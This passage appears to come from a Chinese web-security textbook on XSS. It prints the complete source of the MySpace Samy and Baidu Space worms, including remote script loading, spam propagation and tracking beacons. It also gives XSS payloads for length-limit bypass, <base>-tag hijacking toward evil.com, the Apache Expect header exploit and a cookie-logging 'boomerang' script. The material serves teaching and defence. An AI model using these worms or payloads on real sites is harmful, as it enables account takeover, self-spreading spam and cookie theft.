241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr )')" expr="var B=String.fromCharCode(34); var A=String.fromCharCode(39); function g(){ var C; try{ var D=document.body.createTextRange(); C=D.htmlText }catch(e){ } if(C){ return C }else{ return eval('document.body.inne'+'rHTML') } } function getData(AU){ M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken') } function getQueryParams(){ var E=document.location.search; var F=E.substring(1,E.length).split('&'); var AS=new Array(); for(var O=0;O<F.length;O++){ var I=F[O].split('='); AS[I[0]]=I[1]}return AS } var J; var AS=getQueryParams(); var L=AS['Mytoken']; var M=AS['friendID']; if(location.hostname=='profile.myspace.com'){ document.location='http://www.myspace.com'+lo cation.pathname+location.search }else{ if(!M){ getData(g()) } main() } function getClientFID(){ return findIn(g(),'up_launchIC( '+A,A) } function nothing(){} function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){ if(O>0){ N+='&' } var Q=escape(AV[P]); while(Q.indexOf('+')!=-1){ Q=Q.replace('+','%2B') } while(Q.indexOf('&')!=-1){ Q=Q.replace('&','%26') } N+=P+'='+Q; O++ } return N } function httpSend(BH,BI,BJ,BK){ if(!J){ return false } eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST'){ J.setRequestHeader('Content- Type','application/x-www-form-urlencoded'); J.setRequestHeader('Content- Length',BK.length) } J.send(BK); return true } function findIn(BF,BB,BC){ var R=BF.indexOf(BB)+BB.length; var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC)) } function getHiddenParameter(BF,BG){ return findIn(BF,'name='+B+BG+B+' value='+B,B) } function getFromURL(BF,BG){ var T; if(BG=='Mytoken'){ T=B }else{ T='&' } var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X); return Y } function getXMLObj(){ var Z=false; if(window.XMLHttpRequest){ try{ Z=new XMLHttpRequest() }catch(e){ Z=false } }else if(window.ActiveXObject){ try{ Z=new ActiveXObject('Msxml2.XMLHTTP') }catch(e){ try{ Z=new ActiveXObject('Microsoft.XMLHTTP') }catch(e){ Z=false } } } return Z } var AA=g(); var AB=AA.indexOf('m'+'ycode'); var AC=AA.substring(AB,AB+4096); var AD=AC.indexOf('D'+'IV'); var AE=AC.substring(0,AD); var AF; if(AE){ AE=AE.replace('jav'+'a',A+'jav'+'a'); AE=AE.replace('exp'+'r)','exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' } var AG; function getHome(){ if(J.readyState!=4){ return } var AU=J.responseText; AG=findIn(AU,'P'+'rofileHeroes','</ td>'); AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1){ if(AF){ AG+=AF; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Preview'; AS['interest']=AG; J=getXMLObj(); httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken=' +AR,postHero, 'POST',paramsToString(AS)) } } } function postHero(){ if(J.readyState!=4){ return } var AU=J.responseText; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Submit'; AS['interest']=AG; AS['hash']=getHiddenParameter(AU,'hash'); httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken=' +AR,nothing, 'POST',paramsToString(AS)) } function main(){ var AN=getClientFID(); var BH='/index.cfm? fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L; J=getXMLObj(); httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj(); httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=1 1851658& Mytoken=' +L,processxForm,'GET') } function processxForm(){ if(xmlhttp2.readyState!=4){ return } var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']='11851658'; AS['submit']='Add to Friends'; httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken=' +AR,nothing, 'POST',paramsToString(AS)) } function httpSend2(BH,BI,BJ,BK){ if(!xmlhttp2){ return false } eval('xmlhttp2.onr'+'eadystatechange=BI'); xmlhttp2.open(BJ,BH,true); if(BJ=='POST'){ xmlhttp2.setRequestHeader('Content- Type','application/x-www-form-urlencoded'); xmlhttp2.setRequestHeader('Content-Length',BK.length)} xmlhttp2.send(BK); return true }"></DIV>

XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起XSS Worm攻击也有一定的条件。

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。

比如,发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如“用户个人资料设置”页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。

百度空间蠕虫

下面这个XSS Worm的案例来自百度。

2007年12月,百度空间的用户忽然互相之间开始转发垃圾短消息,后来百度工程师紧急修复了这一漏洞:

百度空间的XSS蠕虫公告

这次事件,是由XSS Worm造成的。时任百度系统部高级安全顾问的方小顿,分析了这个蠕虫的技术细节,他在文中写到:上面基本就是代码,总体来说,还是很有意思的。首先就是漏洞,过滤多一个字符都不行,甚至挪一个位置都不行(上面的Playload部分)。这个虫子比较特殊的地方是感染IE用户,对其他用户无影响;另外就是完全可以隐蔽地传播,因为只是在CSS中加代码并不会有什么明显的地方,唯一的缺陷是有点卡。所以,完全可以长时间地存在,感染面不限制于blog,存在CSS的地方都可以,譬如Profile。另外比较强大的一点就是跟真正的虫子一样,不只是被动地等待,选择在好友发消息时引诱别人过来访问自己的blog,利用好奇心可以做到这点。最后还加了个给在线人随机发消息请求加链接,威力可能更大,因为会创造比较大的基数,这样一感染就是一个blog。到Baidu封锁时,这个虫子已经感染了8700多个blog。总体来说还不错,本来想作为元旦的一个贺礼,不过还是提前死掉了。可以看到,在代码和流程里运用了很多系统本身就有的特性,自己挖掘吧。

这个百度XSS Worm的源代码如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405
window.onerror = killErrors; execScript(unescape('Function%20URLEncoding %28vstrIn%29%0A%20%20%20%20strReturn%20%3D %20%22%22%0A%20%20%20%20For%20aaaa%20%3D %201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20 %20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa %2C1%29%0A%20%20%20%20%20%20%20%20If%20Ab s%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then %0A%20%20%20%20%20%20%20%20%20%20%20%20s trReturn%20%3D%20strReturn%20%26%20ThisChr%0A %20%20%20%20%20%20%20%20Else%0A%20%20%20 %20%20%20%20%20%20%20%20%20innerCode%20%3D %20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20 %20%20%20%20%20If%20innerCode%20%3C %200%20Then%0A %20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20innerCode%20%3D%20innerCode%20+ %20%26H10000%0A%20%20%20%20%20%20%20%20%20 %20%20%20End%20If%0A %20%20%20%20%20%20%20%20%20%20%20%20Hight8%20 %3D%20%28innerCode%2 0%20And%20%26HFF00%29%5C%20%26HFF%0A %20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3 D%20 innerCode%20And%20%26HFF%0A %20%20%20%20%20%20%20%20%20%20%20%20strReturn %20%3D%20strR eturn%20%26%20%22%25%22%20%26%20Hex %28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex %28Lo w8%29%0A%20%20%20%20%20%20%20%20End%20If%0A %20%20%20%20Next%0A%20%20%20%20URLEncoding %20%3D%20strReturn%0AEnd %20Function'),'VBScript'); cookie=''; cookieval=document.cookie; spaceid=spaceurl; myhibaidu="http://hi.baidu.com"+spaceid; xmlhttp=poster(); debug=0; online(); if(spaceid!='/') { if(debug==1) { goteditcss(); document.cookie='xssshell/owned/you!'; } if(cookieval.indexOf('xssshell')==-1) { goteditcss(); document.cookie='xssshell/owned/you!'; } } function makeevilcss(spaceid,editurl,use){ playload="a{evilmask:ex/*exp/**/ression*/ pression(execScript(unescape('d%253D%2522doc %2522%252B%2522ument%2522%253B%250D%250Ai %253D%2522function%2520load%2528%2529%257Bva r%2520x%253D%2522%252Bd%252B %2522.createElement%2528%2527SCRIPT %2527%2529%253Bx.src%2 53D%2527http%253A//www.18688.com/cache/1.js %2527%253Bx.defer%253Dtrue%253B%2522%252Bd %252B%2522.getElementsByTagName%2528%2527HEAD %2527%2529%255B0%255D.appendChild%2528x% 2529%257D%253Bfunction%2520inject %2528%2529%257Bwindow.setTimeout %2528%2527load%2528% 2529%2527%252C1000%2529%257D%253Bif %2528window.x%2521%253D1%2529%257Bwindow.x %253D1%2 53Binject%2528%2529%257D%253B%2522%250D %250AexecScript%2528i%2529')))}"; action=myhibaidu+"/commit"; spCssUse=use; s=getmydata(editurl); re = /\<input type=\"hidden\" id=\"ct\" name= \"ct\" value=\"(.*?)\"/i; ct = s.match(re); ct=(ct[1]); re = /\<input type=\"hidden\" id=\"cm\" name= \"cm\" value=\"(.*?)\"/i; cm = s.match(re); cm=(cm[1])/1+1; re = /\<input type=\"hidden\" id=\"spCssID\" name=\"spCssID\" value=\"(.*?)\"/i; spCssID = s.match(re); spCssID=(spCssID[1]); spRefUrl=editurl; re = /\<textarea(.*?)\>([^\x00]*?)\<\/ textarea\>/i; spCssText = s.match(re); spCssText=spCssText[2]; spCssText=URLEncoding(spCssText); if(spCssText.indexOf('evilmask')!==-1) { return 1; } else spCssText=spCssText+"\r\n\r\n"+playload; re = /\<input name=\"spCssName\"(.*?)value= \"(.*?)\">/i; spCssName = s.match(re); spCssName=spCssName[2]; re = /\<input name=\"spCssTag\"(.*?)value= \"(.*?)\">/i; spCssTag = s.match(re); spCssTag=spCssTag[2]; postdata="ct="+ct +"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayou tID=-1"+"&spRefURL="+UR LEncoding(spRefUrl)+"&spRefURL="+URLEncoding( spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+ "&spCssText="+spCssText +"&spCssName="+URLEncoding(spCssName)+"&spCss Tag="+URLEncoding (spCssTag); result=postmydata(action,postdata); sendfriendmsg(); count(); hack(); } function goteditcss() { src="http://hi.baidu.com"+spaceid+"/modify/ spcrtempl/0"; s=getmydata(src); re = /\<link rel=\"stylesheet\" type=\"text\/ css\" href=\"(.*?)\/css\/item\/(.*?)\.css\">/i; r = s.match(re); nowuse=r[2]; makeevilcss(spaceid,"http://hi.baidu.com"+spa ceid+"/modify/spcss/"+nowuse+".css/edit" ,1); return 0; } function poster(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } function postmydata(action,data){ xmlhttp.open("POST", action, false); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.send(data); return xmlhttp.responseText; } function getmydata(action){ xmlhttp.open("GET", action, false); xmlhttp.send(); return xmlhttp.responseText; } function killErrors() { return true; } function count() { a=new Image(); a.src='http://img.users.51.la/1563171.asp'; return 0; } function online() { online=new Image(); online.src='http://img.users.51.la/1563833.a sp '; return 0; } function hack() { return 0; } function sendfriendmsg(){ myfurl=myhibaidu+"/friends"; s=getmydata(myfurl); evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀! \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibai du; var D=function(A,B){A[A.length]=B;}; re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g; friends = s.match(re); eval(friends[0]); for(i in k) { eval('msgimg'+i+'=new Image();'); eval('msgimg'+i +'.src="http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn="+URLE ncoding(k[i] [2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput =";'); } }

后来又增加了一个传播函数,不过那个时候百度已经开始屏蔽此蠕虫了:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
function onlinemsg(){ doit=Math.floor(Math.random() * (600 + 1)); if(doit>500) { evilonlinemsg="哈哈,还记得我不,加个友情链接 吧?\r\n\r\n\r\n我的地址是"+myhibaidu; xmlDoc=new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async=false; xmlDoc.load("http://hi.baidu.com/sys/file/ moreonline.xml"); online=xmlDoc.documentElement; users=online.getElementsByTagName("id"); x=Math.floor(Math.random() * (200 + 1)); eval('msgimg'+x+'=new Image();'); eval('msgimg'+x +'.src="http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn= "+URLEncoding(users[x].text)+"&co="+URLEncodi ng(evilonlinemsg)+"&vcodeinput=";'); } }

攻击者想要通过XSS做坏事是很容易的,而XSS Worm则能够把这种破坏无限扩大,这正是大型网站所特别担心的事情。

无论是MySpace蠕虫,还是百度空间的蠕虫,都是“善意”的蠕虫,它们只是在“恶作剧”,而没有真正形成破坏。真正可怕的蠕虫,是那些在无声无息地窃取用户数据、骗取密码的“恶意”蠕虫,这些蠕虫并不会干扰用户的正常使用,非常隐蔽。

调试JavaScript

要想写好XSS Payload,需要有很好的JavaScript功底,调试JavaScript是必不可少的技能。在这里,就简单介绍几个常用的调试JavaScript的工具,以及辅助测试的工具。

Firebug

这是最常用的脚本调试工具,前端工程师与Web Hacking必备,被喻为“居家旅行的瑞士军刀”。

Firebug非常强大,它有好几个面板,可以查看页面的DOM节点。

Firebug的界面

调试JavaScript:在Firebug中调试JavaScript

查看HTML与CSS:在Firebug中查看HTML与CSS

毋庸置疑,Firebug是JavaScript调试的第一利器。如果要说缺点,那就是除了Firefox外,对其他浏览器的支持并不好。

IE 8 Developer Tools

在IE 8中,为开发者内置了一个JavaScriptDebugger,可以动态调试JavaScript。

IE 8的开发者工具界面

在需要调试IE而又没有其他可用的JavaScript Debugger时,IE 8 Developer Tools是个不错的选择。

Fiddler

Fiddler是一个本地代理服务器,需要将浏览器设置为使用本地代理服务器上网才可使用。Fiddler会监控所有的浏览器请求,并有能力在浏览器请求中插入数据。

Fiddler支持脚本编程,一个强大的Fiddler脚本将非常有助于安全测试。

Fiddler的界面

HttpWatch

HttpWatch是一个商业软件,它以插件的形式内嵌在浏览器中。

HttpWatch的界面

HttpWatch也能够监控所有的浏览器请求,在目标网站是HTTPS时会特别有用。但HttpWatch并不能调试JavaScript,它仅仅是一个专业的针对Web的“Sniffer”。

善用这些调试工具,在编写XSS Payload与分析浏览器安全时,会事半功倍。

XSS构造技巧

前文重点描述了XSS攻击的巨大威力,但是在实际环境中,XSS的利用技巧比较复杂。本章将介绍一些常见的XSS攻击技巧,也是网站在设计安全方案时需要注意的地方。

利用字符编码

“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号:

1
var redirectUrl="\";alert(/XSS/);";

一般来说,这里是没有XSS漏洞的,因为变量处于双引号之内,系统转义了双引号导致变量无法“escape”。

但是,百度的返回页面是GBK/GB2312编码的,因此“%c1\”这两个字符组合在一起后,会成为一个Unicode字符。在Firefox下会认为这是一个字符,所以构造:

1
%c1";alert(/XSS/);//

并提交:

提交的数据包

在Firefox下得到如下效果:

在Firefox下的效果

这两个字节:“%c1\”组成了一个新的Uni-code字符,“%c1”把转义符号“\”给“吃掉了”,从而绕过了系统的安全检查,成功实施了XSS攻击。

绕过长度限制

很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的。假设下面代码存在一个XSS漏洞:

1
<input type=text value="$var" />

服务器端如果对输出变量“$var”做了严格的长度限制,那么攻击者可能会这样构造XSS:

1
$var为: "><script>alert(/xss/)</script>

希望达到的输出效果是:

1 2 3
<input type=text value=""><script>alert(/ xss/)</script>" />

假设长度限制为20个字节,则这段XSS会被切割为:

1
$var 输出为: "><script> alert(/xss

连一个完整的函数都无法写完,XSS攻击可能无法成功。那此时,是不是万事大吉了呢?答案是否定的。

攻击者可以利用事件(Event)来缩短所需要的字节数:

1
$var 输出为: "onclick=alert(1)//

加上空格符,刚好够20个字节,实际输出为:

1 2 3
<input type=text value="" onclick=alert(1)// "/>

当用户点击了文本框后,alert()将执行:

恶意脚本被执行

但利用“事件”能够缩短的字节数是有限的。最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload。

最常用的一个“藏代码”的地方,就是“loca-tion.hash”。而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而也更好地隐藏了黑客真实的意图。

$var 输出为: "

1
onclick="eval(location.hash.substr(1))

总共是40个字节。输出后的HTML是:

1 2 3
<input type="text" value="" onclick="eval(location.hash.substr(1)) " />

因为location.hash的第一个字符是 # ,所以必须去除第一个字符才行。此时构造出的XSS URL为:

1
http://www.a.com/test.html#alert(1)

用户点击文本框时,location.hash里的代码执行了。

location.hash里的脚本被执行

location.hash本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来写更多的代码。

在某些环境下,可以利用注释符绕过长度限制。

比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的“注释符号”,把两个文本框之间的HTML代码全部注释掉,从而“打通”两个<input>标签。

1 2 3 4 5
<input id=1 type="text" value="" /> xxxxxxxxxxxxx <input id=2 type="text" value="" />

在第一个input框中,输入:

1
"><!--

在第二个input框中,输入:

1
--><script>alert(/xss/);</script>

最终的效果是:

1 2 3 4 5 6 7
<input id=1 type="text" value=""><!--" /> xxxxxxxxxxxxxxxxx <input id=2 type="text" value="-- ><script>alert(/xss/);</script>" />

中间的代码全部被

1
<!-- … -->

[/code]

给注释掉了!最终效果如下:

恶意脚本被执行

而在第一个input框中,只用到了短短的6个字节!

使用<base>标签

<base>标签并不常用,它的作用是定义页面上的所有使用“相对路径”标签的hosting地址。

比如,打开一张不存在的图片:

1 2 3 4 5 6 7
<body> <img src="/intl/en_AL../Images/srpr/ logo1w.png" /> </body>

测试页面

这张图片实际上是Google的一张图片,原地址为:

1 2 3
http://www.google.com/intl/en_AL../Images/ srpr/logo1w.png

在<img>标签前加入一个<base>标签:

 1  2  3  4  5  6  7  8  9 10 11 12
<body> <base href="http://www.google.com" /> <img src="/intl/en_AL../Images/srpr/ logo1w.png" /> </body> <base>标签将指定其后的标签默认从“http://www.google.com”取URL:

测试页面

图片被找到了。

需要特别注意的是,在有的技术文档中,提到<base>标签只能用于<head>标签之内,其实这是不对的。<base>标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。

攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13
<base href="http://www.evil.com" /> …. <script src="x.js" ></script> …. <img src="y.jpg" /> … <a href="auth.do" >auth</a>

所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。

window.name的妙用

window.name对象是一个很神奇的东西。对当前窗口的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。

参考以下案例。假设“www.a.com/test.html”的代码为:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
<body> <script> window.name = "test"; alert(document.domain+" "+window.name); window.location = "http://www.b.com/ test1.html"; </script> </body>

这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后将页面跳转到“www.b.com/test1.html”。“www.b.com/test1.html”的代码为:

1 2 3 4 5
alert(document.domain+" "+window.name); </script> </body>

这里显示了当前域和window.name的值。最终效果如下,访问“www.a.com/test.html”:

测试页面

window.name赋值成功,然后页面自动跳转到“www.b.com/test1.html”:

测试页面

这个过程实现数据的跨域传递:“test”这个值从www.a.com传递到www.b.com。

使用window.name可以缩短XSS Payload的长度,如下所示:

1 2 3 4 5 6 7 8 9
<script> window.name = "alert(document.cookie)"; locaton.href = "http://www.xssedsite.com/ xssed.php"; </script>

在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:

1
eval(name);

只有11个字节,短到了极点。

这个技巧为安全研究者luoluo所发现,同时他还整理了很多绕过XSS长度限制的技巧。

变废为宝:Mission Impossible

从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。因为存储型XSS在用户访问正常URL时会自动触发;而反射型XSS会修改一个正常的URL,一般要求攻击者将XSSURL发送给用户点击,无形中提高了攻击的门槛。

而有的XSS漏洞,则被认为只能够攻击自己,属于“鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的XSS漏洞,都被人找到了利用方法。

Apache Expect Header XSS

“Apache Expect Header XSS”漏洞最早公布于2006年。这个漏洞曾一度被认为是无法利用的,所以厂商不认为这是个漏洞。这个漏洞的影响范围是:Apache Httpd Server版本1.3.34、2.0.57、2.2.1及以下。漏洞利用过程如下。

向服务器提交:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
GET / HTTP/1.1 Accept: */* Accept-Language: en-gb Content-Type: application/x-www-form- urlencoded Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.');</script> Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: www.whiteacid.org Connection: Keep-Alive

服务器返回:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
HTTP/1.1 417 Expectation Failed Date: Thu, 21 Sep 2006 20:44:52 GMT Server: Apache/1.3.33 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2 mod_gzip/1.3.26.1a PHP/4.4.2 mod_ssl/2.8.22 OpenSSL/0.9.7e Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 1ba <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>417 Expectation Failed</TITLE> </HEAD><BODY> <H1>Expectation Failed</H1> The expectation given in the Expect request- header field could not be met by this server.<P> The client sent<PRE> Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.');</script> </PRE> but we only allow the 100-continue expectation. </BODY></HTML> 0

注意到服务器在出错返回时,会把Expect头的内容未经任何处理便写入到页面中,因此Expect头中的HTML代码就被浏览器解析执行了。

这是Apache的漏洞,影响范围相当广。从这个攻击过程可以看出,需要在提交请求时向HTTP头中注入恶意数据,才能触发这个漏洞。但对于XSS攻击来说,JavaScript工作在渲染后的浏览器环境中,无法控制用户浏览器发出的HTTP头。因此,这个漏洞曾经一度被认为是“鸡肋”漏洞。

后来安全研究者Amit Klein提出了“使用Flash构造请求”的方法,成功地利用了这个漏洞,变废为宝!

在Flash中发送HTTP请求时,可以自定义大多数的HTTP头。如下是Amit Klein的演示代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
//Credits to Amit Klein as he wrote this, I just decompiled it inURL = this._url; inPOS = inURL.lastIndexOf("?"); inParam = inURL.substring(inPOS + 1, inPOS.length); req = new LoadVars(); req.addRequestHeader("Expect", "<script>alert(\'" + inParam + " is vulnerable to the Expect Header vulnerability.\ ');</script>"); <body> <script>alert(\'" + inParam + " is vulnerable to the Expect Header vulnerability.\ ');</script>"); req.send(inParam, "_blank", "POST");

正因为此,Flash在新版本中禁止用户自定义发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制:

1 2 3
req.addRequestHeader("Expect:FooBar","<script >alert('XSS')</script>");

目前Flash已经修补好了这些问题。

此类攻击,还可以通过Java Applet等构造HTTP请求的第三方插件来实现。

Anehta的回旋镖

反射型XSS也有可能像存储型XSS一样利用:将要利用的反射型XSS嵌入一个存储型XSS中。这个攻击技巧,曾经在笔者实现的一个XSS攻击平台(Anehta)中使用过,笔者将其命名为“回旋镖”。

因为浏览器同源策略的原因,XSS也受到同源策略的限制——发生在A域上的XSS很难影响到B域的用户。

回旋镖的思路就是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B”,则可以达到在A域的XSS攻击B域用户的目的。

我们知道,在IE中,<iframe>、<img>、<link>等标签都会拦截“第三方Cookie”的发送,而在Firefox中则无这种限制(第三方Cookie即指保存在本地的Cookie,也就是服务器设置了expire时间的Cookie)。

所以,对于Firefox来说,要实现回旋镖的效果非常简单,只需要在XSS_A处嵌入一个iframe即可:

1 2 3
<iframe src="http://www.b.com/?xss.... " ></ iframe>

但是对于IE来说,则要麻烦很多。为了达到执行XSS_B的目的,可以使用一个<form>标签,在浏览器提交form表单时,并不会拦截第三方Cookie的发送。

因此,先在XSS_A上写入一个<form>,自动提交到XSS_B,然后在XSS_B中再跳转回原来的XSS_A,即完成一个“回旋镖”的过程。但是这种攻击的缺点是,尽管跳转花费的时间很短,但用户还是会看到浏览器地址栏的变化。

代码如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
var target = "http://www.b.com/ xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></ script><'"; var org_url = "http://www.a.com/anehta/ demo.html"; var target_domain = target.split('/'); target_domain = target_domain[2]; var org_domain = org_url.split('/'); org_domain = org_domain[2]; ///////////////////////////////////////////// /////////// // boomerang 回旋镖模块,获取第三方远程站点的Cookie // 并将页面重定向回当前页面 // 要求远程站点存在一个XSS //// Author: axis ///////////////////////////////////////////// ////////// // 如果是当前页面,则向目标提交 if ($d.domain == org_domain){ if (anehta.dom.checkCookie("boomerang") == false){ // 在Cookie里做标记,只弹一次 anehta.dom.addCookie("boomerang", "x"); setTimeout( function (){ try { anehta.net.postForm(target); } catch (e){ //alert(e); } }, 50); } } // 如果是目标站点,则重定向回前页面 if ($d.domain == target_domain){ anehta.logger.logCookie(); setTimeout( function (){ // 弹回原来的页面 anehta.net.postForm(org_url); }, 50); }

